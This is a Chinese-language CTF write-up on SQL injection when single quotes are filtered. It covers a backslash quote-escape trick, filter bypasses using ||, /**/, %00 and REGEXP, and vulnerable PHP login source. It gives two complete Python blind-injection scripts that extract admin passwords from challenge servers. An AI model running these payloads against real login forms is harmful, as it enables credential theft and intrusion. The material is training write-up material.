通過兩道CTF題學習過濾單引號的SQL注入

0x00 前言

通常來說,在進行字符型的SQL注入時,都需要先將前面的引號等(以單引號爲例)進行閉合才能執行我們構造的SQL語句,那麼如果單引號被過濾了,是否還能夠成功的SQL注入呢?

答案是可以,當你在判斷登錄時使用的是如下SQL語句:

select user from user where user='$_POST[username]' and password='$_POST[password]';

那麼即使在過濾的時候將單引號過濾掉了,還是可以進行一定程度上的注入的,下面通過兩道CTF題來進行介紹。


0x01 [BJDCTF 2020]簡單注入

進入題目後就是一個登錄框,名字也提示了要注入:
在這裏插入圖片描述
掃描目錄發現hint.txt中的提示:
在這裏插入圖片描述
告訴了我們登錄的sql語句:

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

稍微fuzz一下可以發現過濾了'"=-andselect等關鍵詞,其中關鍵就是這個單引號,由hint已知這裏是需要單引號進行閉合的,而單引號又被過濾了。

可以發現註釋符#和反斜槓\並沒有被過濾,既然註釋符沒有過濾,那麼我們就可以註釋掉最後一個單引號,這樣就只剩下3個單引號需要處理。

而如果我們輸入的用戶名以反斜槓\結尾,例如POST:username=admin\&password=123456#,那麼拼接進去後,\就可以將第2個單引號轉義掉,如下:

select * from users where username='admin\' and password='123456#';

這樣第1個單引號就會找第3個單引號進行閉合,後臺接收到的username實際上是admin\' and password=這個整體,而這個用戶名顯然不存在,所以還是登錄失敗。

但是別忘了我們還有一個password變量可控,實際上我們已經解決了單引號的閉合問題了,下面的就是常規的思路,比如我們構造password爲or 2>1#

那麼拼接後的sql語句就爲:

select * from users where username='admin\' and password=' or 2>1#';

很顯然上面的語句會返回爲真,通過這樣的思路,我們就可以進行bool盲注:
在這裏插入圖片描述
在這裏插入圖片描述
最終腳本如下:

import requests

s = requests.Session()
url = 'http://6644a23a-145c-40a9-a969-90ff1f80ac4d.node3.buuoj.cn/'
flag = ''

def exp(i, j):
    payload = f"or (ascii(substr(password,{i},1))>{j})#"
    data = {
        "username": "admin\\",
        "password": payload
    }
    r = s.post(url, data=data)
    if "BJD needs to be stronger" in r.text:
        return True
    else:
        return False

for i in range(1, 100):
    low = 32 
    high = 127
    while (low <= high):
        mid = (low + high)//2
        if (exp(i, mid)):
            low = mid + 1
        else:
            high = mid - 1
    flag += chr((low+high+1)//2)
    print(flag)

運行腳本得到admin的密碼:OhyOuFOuNdit,登錄即可得到flag。
在這裏插入圖片描述


0x02 某道CTF入羣題

同樣也是一到登陸題,在check.php中給出了源碼如下:

<?php 
include "config.php";
error_reporting(0);
highlight_file(__FILE__); 

$check_list = "/into|load_file|0x|outfile|by|substr|base|echo|hex|mid|like|or|char|union|or|select|greatest|%00|_|\'|admin|limit|=_| |in|<|>|-|user|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
if(preg_match($check_list, $_POST['username'])){
    die('<h1>Hacking first,then login!Username is very special.</h1>'); 
}
if(preg_match($check_list, $_POST['passwd'])){
    die('<h1>Hacking first,then login!No easy password.</h1>');
}
$query="select user from user where user='$_POST[username]' and passwd='$_POST[passwd]'"; 
$result = mysql_query($query);
$result = mysql_fetch_array($result);
$passwd = mysql_fetch_array(mysql_query("select passwd from user where user='admin'"));
if($result['user']){
    echo "<h1>Welcome to CTF Training!Please login as role of admin!</h1>"; 
}
if(($passwd['passwd'])&&($passwd['passwd'] === $_POST['passwd'])){
    $url = $_SERVER["HTTP_REFERER"];
    $parts = parse_url($url);
    if(empty($parts['host']) || $parts['host'] != 'localhost'){
        die('<h1>The website only can come from localhost!You are not admin!</h1>');
    }
    else{
        readfile($url);
    }
}
?>

可以看到這一題的sql語句同樣是下面這樣:

select user from user where user='$_POST[username]' and passwd='$_POST[passwd]'

只不過過濾了更多的東西,下面思考如果進行繞過:

  • or可以用||進行繞過。
  • %00繞過註釋符#、-- 的過濾
    (雖然%00在過濾列表中,但由於瀏覽器在傳給php過程中會經過一次urldecode(),所以php接收到的並不是%00
  • /**/繞過空格的過濾。
  • 如果我們只需要得到user表下password字段的值,因爲是在同一條語句中,所以select等查詢語句的過濾對我們沒有影響。
  • 反斜槓\沒被過濾,思路還是利用轉義單引號來構造閉合,然後再在password字段構造盲注語句進行注入。

現在就是如何構造盲注語句,常用的=><like等邏輯運算都被過濾掉了,這時候就需要用到REGEXP正則注入

在MySQL中除了可以使用LIKE ..%進行模糊匹配,同樣也支持正則表達式的匹配,其使用REGEXP 操作符來進行正則表達式匹配。

正則表達式的規則就類似於PHP 或 Perl,下表中的正則模式可應用於 REGEXP 操作符中:
在這裏插入圖片描述

查找以Le開頭的用戶名:
在這裏插入圖片描述
查找以ck結尾的用戶名:
在這裏插入圖片描述

回到題目中來,我們嘗試將按照題目的sql邏輯構造如下語句:、
在這裏插入圖片描述
在這裏插入圖片描述

發現是能夠進行真假判斷的,如果第一個字母猜對了,我們只需要接着判斷前兩位的開頭是否正確即可,然後以此類推,直到猜出全部字段的值:
在這裏插入圖片描述
在這裏插入圖片描述

在題目中進行一下驗證,利用Intruder模塊爆破一下:
在這裏插入圖片描述
在這裏插入圖片描述
可以看到在以dD開頭時都返回了真,是因爲使用regexp正則匹配時是不區分大小寫,通常來說只需要加上binary即可解決這個問題,如||binart/**/passwd/**/regexp/**/"^a";%00,但是這一題過濾了in,所以目前我還沒有想到好的方法進行大小寫匹配。

但實際上這一題的密碼都是由小寫組成的,否則就只能去遍歷所有情況進行爆破了。

最終的腳本如下:

import requests

s = requests.Session()
url = "http://47.102.127.194:8801/check.php"

str = '1234567890qwertyuiopasdfghjklzxcvbnm'
temp = ""
flag = ""

for i in range(30):
    for j in str:
        temp = flag
        temp += j
        #注意%00要用\00表示
        payload = f"||passwd/**/regexp/**/\"^{temp}\";\00"
        data = {
            "username":"\\",
            "passwd":payload
        }
        r = s.post(url, data=data)
        if "CTF Training" in r.text:
            flag = temp
            print(flag)
            break

運行腳本得到密碼:d0itr1ght
在這裏插入圖片描述
得到密碼後,後面的就比較簡單了,adminadm/**/in繞過,然後用Referer利用file://localhost/..僞造本地讀文件即可:
在這裏插入圖片描述
源碼中得到flag:
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章